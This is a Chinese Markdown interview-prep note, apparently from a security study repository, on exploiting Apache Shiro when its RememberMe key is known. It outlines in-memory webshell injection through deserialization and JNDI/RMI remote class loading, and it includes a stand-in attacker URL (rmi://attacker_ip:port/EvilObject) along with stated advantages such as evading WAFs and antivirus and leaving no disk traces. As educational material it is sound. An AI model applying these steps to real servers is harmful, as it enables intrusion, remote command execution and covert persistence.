Files
Sec-Interview/Chapter6/6-14.md
T
2025-09-25 03:24:57 +08:00

46 lines
2.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### Shiro 有 Key 无链怎么利用
**1. 内存马注入**
这是目前最主流且最有效的利用方法之一。如果能通过反序列化注入一个内存马,我们就可以直接与服务器进行交互,绕过 WAF、IDS 等安全设备,并且不留下任何磁盘文件
**利用原理**
- **自定义反序列化类**:我们需要构造一个恶意的序列化数据,其中包含一个自定义的类
- **反射机制**:这个自定义类在反序列化时,其 `readObject` 方法会被调用。我们利用反射机制,在 `readObject` 方法中获取当前应用的 `ServletContext`
- **注入 Webshell**:有了 `ServletContext`,我们就可以动态地注册一个 Servlet、Filter 或者 Listener,从而注入一个内存 Webshell
**具体步骤**
1. **编写内存马代码**:使用 Java 编写一个内存马,通常是一个 Filter 或 Servlet,用于接收请求并执行命令
2. **构造恶意序列化数据**:将内存马代码嵌入到序列化数据中
3. **加密**:使用泄露的 Shiro Key,对这个序列化数据进行 AES 加密
4. **发送请求**:将加密后的数据作为 RememberMe cookie 的值发送到服务器
5. **反序列化**:Shiro 框架会解密并反序列化这个 cookie,从而触发我们的恶意代码,实现内存马注入
**优势**
- **绕过传统安全设备**:内存马直接运行在内存中,不依赖于文件,因此可以绕过绝大部分基于文件扫描的 WAF 和杀毒软件
- **无文件落地**:攻击不留下任何磁盘痕迹,增加了溯源的难度
**2. RMI 远程加载**
这种方法利用了 Java 的远程方法调用(RMI)机制,通过反序列化来触发远程加载恶意代码
**利用原理**
- **JNDI 注入**:反序列化时,我们可以构造一个 `com.sun.jndi.rmi.registry.RegistryContext` 对象,通过 JNDI 注入的方式,让服务器去连接一个我们控制的 RMI 服务器
- **远程加载 Class 文件**:RMI 服务器会返回一个恶意对象,该对象会触发服务器远程加载并实例化我们提供的恶意 Class 文件
**具体步骤**
1. **搭建 RMI Server**:利用 `ysoserial` 或自定义代码搭建一个恶意的 RMI 服务器
2. **编写恶意 Class**:编写一个恶意的 Class 文件,其中包含要执行的命令
3. **构造恶意序列化数据**:构造一个包含 JNDI 注入链接的序列化数据,例如 `rmi://attacker_ip:port/EvilObject`
4. **加密并发送**:使用 Shiro Key 对数据进行加密,并作为 RememberMe cookie 发送
5. **反序列化触发**:服务器反序列化时,会触发 JNDI 注入,连接我们的 RMI 服务器并加载恶意 Class,最终实现命令执行
**限制**
- 需要目标服务器能够访问外网或者我们内网的 RMI 服务器
- Java 版本对 JNDI 注入有一定限制,高版本可能需要额外配置